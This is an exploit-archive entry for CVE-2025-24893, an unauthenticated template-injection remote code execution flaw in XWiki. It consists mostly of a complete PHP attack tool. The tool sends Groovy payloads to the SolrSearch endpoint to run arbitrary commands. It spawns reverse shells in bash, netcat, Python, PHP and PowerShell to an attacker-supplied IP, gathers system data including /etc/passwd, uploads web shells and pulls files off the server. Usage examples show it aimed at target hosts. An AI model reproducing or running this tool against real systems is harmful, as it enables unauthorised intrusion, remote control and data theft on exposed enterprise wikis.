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📄 XWiki 16.4.0 Remote Code Execution

🗓️ 06 Feb 2026 00:00:00Reported by indoushkaType 
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Critical template injection allows unauthenticated remote code execution in XWiki Platform across multiple versions.

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=============================================================================================================================================
    | # Title     : XWiki 5.3-milestone-2 Remote Code Execution Exploit                                                                         |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits)                                                            |
    | # Vendor    : https://github.com/xwiki/                                                                                                   |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/209041/ & 	CVE-2025-24893
    
    [+] Summary    : a critical template injection vulnerability in XWiki Platform that allows unauthenticated remote code execution. 
                     The vulnerability affects XWiki versions 5.3-milestone-2 to 15.10.10 and 16.0.0-rc-1 to 16.4.0, potentially impacting thousands of enterprise wiki installations.
    
    [+] POC :
    
    # Check for vulnerability
    php exploit.php http://target.com --check
    
    # Execute command
    php exploit.php http://target.com --cmd "id"
    php exploit.php http://target.com --cmd "whoami" --os windows
    
    # Create reverse shell
    php exploit.php http://target.com --reverse 192.168.1.100:4444
    php exploit.php http://target.com --reverse 192.168.1.100:4444 --shell python
    
    # Gather information
    php exploit.php http://target.com --info
    
    # Upload file
    php exploit.php http://target.com --upload shell.php:/tmp/shell.php
    
    # Download file
    php exploit.php http://target.com --download /etc/passwd:passwd.txt
    
    <?php
    /**
     * BY indoushka
     */
    
    class XWikiExploit {
        private $target;
        private $path;
        private $timeout = 10;
        private $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
        
        public function __construct($target, $path = '/') {
            $this->target = rtrim($target, '/');
            $this->path = $path;
        }
        
        /**
         * Check if target is vulnerable
         */
        public function check() {
            echo "[*] Checking target: {$this->target}\n";
            
            $response = $this->sendRequest("/xwiki/bin/view/Main/");
            
            if (!$response) {
                echo "[-] No response from target\n";
                return false;
            }
            
            // Extract version from HTML
            preg_match('/<div[^>]*id="xwikiplatformversion"[^>]*>(.*?)<\/div>/si', $response, $matches);
            
            if (empty($matches)) {
                echo "[-] Could not find version information\n";
                return false;
            }
            
            preg_match('/XWiki.*?(\d+\.\d+\.\d+)/', $matches[1], $versionMatch);
            
            if (empty($versionMatch)) {
                echo "[-] Could not extract version number\n";
                return false;
            }
            
            $version = $versionMatch[1];
            echo "[+] Detected XWiki version: {$version}\n";
            
            // Check if version is vulnerable
            $vulnerable = $this->isVersionVulnerable($version);
            
            if ($vulnerable) {
                echo "[+] Target appears to be VULNERABLE!\n";
                return true;
            } else {
                echo "[-] Target appears to be SAFE\n";
                return false;
            }
        }
        
        /**
         * Execute command on target
         */
        public function executeCommand($command, $os = 'unix') {
            echo "[*] Building payload for {$os}...\n";
            
            if ($os === 'unix' || $os === 'linux') {
                $cmdArray = "'sh', '-c', '{$command}'";
            } else {
                // Windows
                $cmdArray = "'cmd.exe', '/b', '/q', '/c', '{$command}'";
            }
            
            $payload = "{{async async=false}}{{groovy}}[{$cmdArray}].execute().text{{/groovy}}{{/async}}";
            
            echo "[*] Sending payload...\n";
            
            $url = "/xwiki/bin/get/Main/SolrSearch?media=rss&text=" . urlencode($payload);
            $response = $this->sendRequest($url);
            
            if ($response) {
                echo "[+] Command executed. Response:\n";
                echo "----------------------------------------\n";
                echo $response;
                echo "\n----------------------------------------\n";
                return $response;
            } else {
                echo "[-] No response received\n";
                return false;
            }
        }
        
        /**
         * Reverse shell for Unix/Linux
         */
        public function reverseShell($ip, $port, $shellType = 'bash') {
            echo "[*] Setting up reverse shell to {$ip}:{$port}\n";
            
            if ($shellType === 'bash') {
                $command = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1";
            } elseif ($shellType === 'nc') {
                $command = "nc -e /bin/sh {$ip} {$port}";
            } elseif ($shellType === 'python') {
                $command = "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"{$ip}\",{$port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'";
            } elseif ($shellType === 'php') {
                $command = "php -r '\$sock=fsockopen(\"{$ip}\",{$port});exec(\"/bin/sh -i <&3 >&3 2>&3\");'";
            } else {
                $command = "bash -i >& /dev/tcp/{$ip}/{$port} 0>&1";
            }
            
            // URL encode the command
            return $this->executeCommand($command, 'unix');
        }
        
        /**
         * Reverse shell for Windows
         */
        public function reverseShellWindows($ip, $port) {
            echo "[*] Setting up Windows reverse shell to {$ip}:{$port}\n";
            
            // PowerShell reverse shell
            $command = "powershell -NoP -NonI -W Hidden -Exec Bypass -Command \"\$TCPClient = New-Object Net.Sockets.TCPClient('{$ip}', {$port});\$NetworkStream = \$TCPClient.GetStream();\$StreamWriter = New-Object IO.StreamWriter(\$NetworkStream);\$StreamWriter.WriteLine((Get-WmiObject Win32_ComputerSystem).Name + ':' + (Get-WmiObject Win32_OperatingSystem).Version);\$StreamWriter.Flush();while((\$BytesRead = \$NetworkStream.Read(\$Buffer, 0, \$Buffer.Length)) -gt 0){\$Command = ([Text.Encoding]::ASCII).GetString(\$Buffer, 0, \$BytesRead - 1);\$Output = try { Invoke-Expression \$Command 2>&1 | Out-String } catch { \$_ | Out-String };\$ReturnOutput = \$Output + 'PS ' + (Get-Location).Path + '> ';\$StreamWriter.Write(\$ReturnOutput);\$StreamWriter.Flush()};\$StreamWriter.Close()\"";
            
            return $this->executeCommand($command, 'windows');
        }
        
        /**
         * Information gathering
         */
        public function gatherInfo() {
            echo "[*] Gathering system information...\n";
            
            $commands = [
                'id' => 'id',
                'whoami' => 'whoami',
                'uname' => 'uname -a',
                'pwd' => 'pwd',
                'ps' => 'ps aux | head -20',
                'users' => 'cat /etc/passwd | head -20',
                'network' => 'ifconfig || ip addr'
            ];
            
            foreach ($commands as $name => $cmd) {
                echo "\n[*] Executing: {$name}\n";
                $this->executeCommand($cmd, 'unix');
                sleep(1); // Avoid rate limiting
            }
        }
        
        /**
         * File upload
         */
        public function uploadFile($localFile, $remotePath) {
            if (!file_exists($localFile)) {
                echo "[-] Local file not found: {$localFile}\n";
                return false;
            }
            
            $content = base64_encode(file_get_contents($localFile));
            $command = "echo '{$content}' | base64 -d > {$remotePath}";
            
            echo "[*] Uploading {$localFile} to {$remotePath}\n";
            return $this->executeCommand($command, 'unix');
        }
        
        /**
         * File download
         */
        public function downloadFile($remoteFile, $localFile) {
            $command = "cat {$remoteFile} | base64";
            $response = $this->executeCommand($command, 'unix');
            
            if ($response && preg_match('/^[A-Za-z0-9+\/=]+$/m', trim($response))) {
                $decoded = base64_decode(trim($response));
                file_put_contents($localFile, $decoded);
                echo "[+] File downloaded to: {$localFile}\n";
                return true;
            } else {
                echo "[-] Failed to download file\n";
                return false;
            }
        }
        
        /**
         * Private helper methods
         */
        private function sendRequest($uri) {
            $url = $this->target . $uri;
            
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
            curl_setopt($ch, CURLOPT_TIMEOUT, $this->timeout);
            curl_setopt($ch, CURLOPT_USERAGENT, $this->userAgent);
            curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
            curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
            
            $response = curl_exec($ch);
            $httpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);
            
            if (curl_errno($ch)) {
                echo "[-] cURL Error: " . curl_error($ch) . "\n";
                curl_close($ch);
                return false;
            }
            
            curl_close($ch);
            
            if ($httpCode == 200) {
                return $response;
            } else {
                echo "[-] HTTP Error: {$httpCode}\n";
                return false;
            }
        }
        
        private function isVersionVulnerable($version) {
            $versionParts = explode('.', $version);
            
            if (count($versionParts) < 3) {
                return false;
            }
            
            $major = (int)$versionParts[0];
            $minor = (int)$versionParts[1];
            $patch = (int)$versionParts[2];
            
            // Check vulnerable ranges
            if ($major >= 5 && $major <= 15) {
                if ($major == 5 && $minor >= 3) {
                    return true;
                } elseif ($major == 15 && $minor == 10 && $patch <= 10) {
                    return true;
                } elseif ($major > 5 && $major < 15) {
                    return true;
                }
            } elseif ($major == 16) {
                if ($minor == 0 && $patch == 0) {
                    // 16.0.0-rc-1 is vulnerable
                    return true;
                } elseif ($minor == 4 && $patch == 0) {
                    return true;
                } elseif ($minor < 4) {
                    return true;
                }
            }
            
            return false;
        }
    }
    
    /**
     * Usage examples
     */
    function printHelp() {
        echo "Powered by indoushka XWiki CVE-2025-24893 Exploit Tool\n";
        echo "Usage:\n";
        echo "  php exploit.php <target> [options]\n\n";
        echo "Options:\n";
        echo "  --check                Check if target is vulnerable\n";
        echo "  --cmd <command>        Execute system command\n";
        echo "  --os <unix|windows>    Target OS (default: unix)\n";
        echo "  --reverse <ip:port>    Create reverse shell\n";
        echo "  --shell <type>         Shell type (bash, nc, python, php)\n";
        echo "  --info                 Gather system information\n";
        echo "  --upload <local:remote> Upload file\n";
        echo "  --download <remote:local> Download file\n";
        echo "  --path <path>          XWiki installation path (default: /)\n";
        echo "  --help                 Show this help\n\n";
        echo "Examples:\n";
        echo "  php exploit.php http://target.com --check\n";
        echo "  php exploit.php http://target.com --cmd 'id'\n";
        echo "  php exploit.php http://target.com --reverse 192.168.1.100:4444\n";
        echo "  php exploit.php http://target.com --upload shell.php:/tmp/shell.php\n";
    }
    
    /**
     * Main execution
     */
    if (PHP_SAPI !== 'cli') {
        die("This script must be run from command line\n");
    }
    
    if ($argc < 2) {
        printHelp();
        exit(1);
    }
    
    $target = $argv[1];
    $options = [
        'path' => '/',
        'os' => 'unix'
    ];
    
    // Parse command line arguments
    for ($i = 2; $i < $argc; $i++) {
        switch ($argv[$i]) {
            case '--check':
                $options['check'] = true;
                break;
            case '--cmd':
                $options['cmd'] = $argv[++$i];
                break;
            case '--os':
                $options['os'] = $argv[++$i];
                break;
            case '--reverse':
                $options['reverse'] = $argv[++$i];
                break;
            case '--shell':
                $options['shell'] = $argv[++$i];
                break;
            case '--info':
                $options['info'] = true;
                break;
            case '--upload':
                $options['upload'] = $argv[++$i];
                break;
            case '--download':
                $options['download'] = $argv[++$i];
                break;
            case '--path':
                $options['path'] = $argv[++$i];
                break;
            case '--help':
                printHelp();
                exit(0);
            default:
                echo "Unknown option: {$argv[$i]}\n";
                printHelp();
                exit(1);
        }
    }
    
    // Create exploit instance
    $exploit = new XWikiExploit($target, $options['path']);
    
    // Execute requested action
    if (isset($options['check'])) {
        $exploit->check();
    } elseif (isset($options['cmd'])) {
        $exploit->executeCommand($options['cmd'], $options['os']);
    } elseif (isset($options['reverse'])) {
        list($ip, $port) = explode(':', $options['reverse']);
        if ($options['os'] === 'windows') {
            $exploit->reverseShellWindows($ip, $port);
        } else {
            $shellType = $options['shell'] ?? 'bash';
            $exploit->reverseShell($ip, $port, $shellType);
        }
    } elseif (isset($options['info'])) {
        $exploit->gatherInfo();
    } elseif (isset($options['upload'])) {
        list($local, $remote) = explode(':', $options['upload'], 2);
        $exploit->uploadFile($local, $remote);
    } elseif (isset($options['download'])) {
        list($remote, $local) = explode(':', $options['download'], 2);
        $exploit->downloadFile($remote, $local);
    } else {
        echo "No action specified. Use --help for usage information.\n";
    }
    
    echo "\n[*] Exploit completed\n";
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================

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06 Feb 2026 00:00Current
6Medium risk
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CVSS 3.19.8
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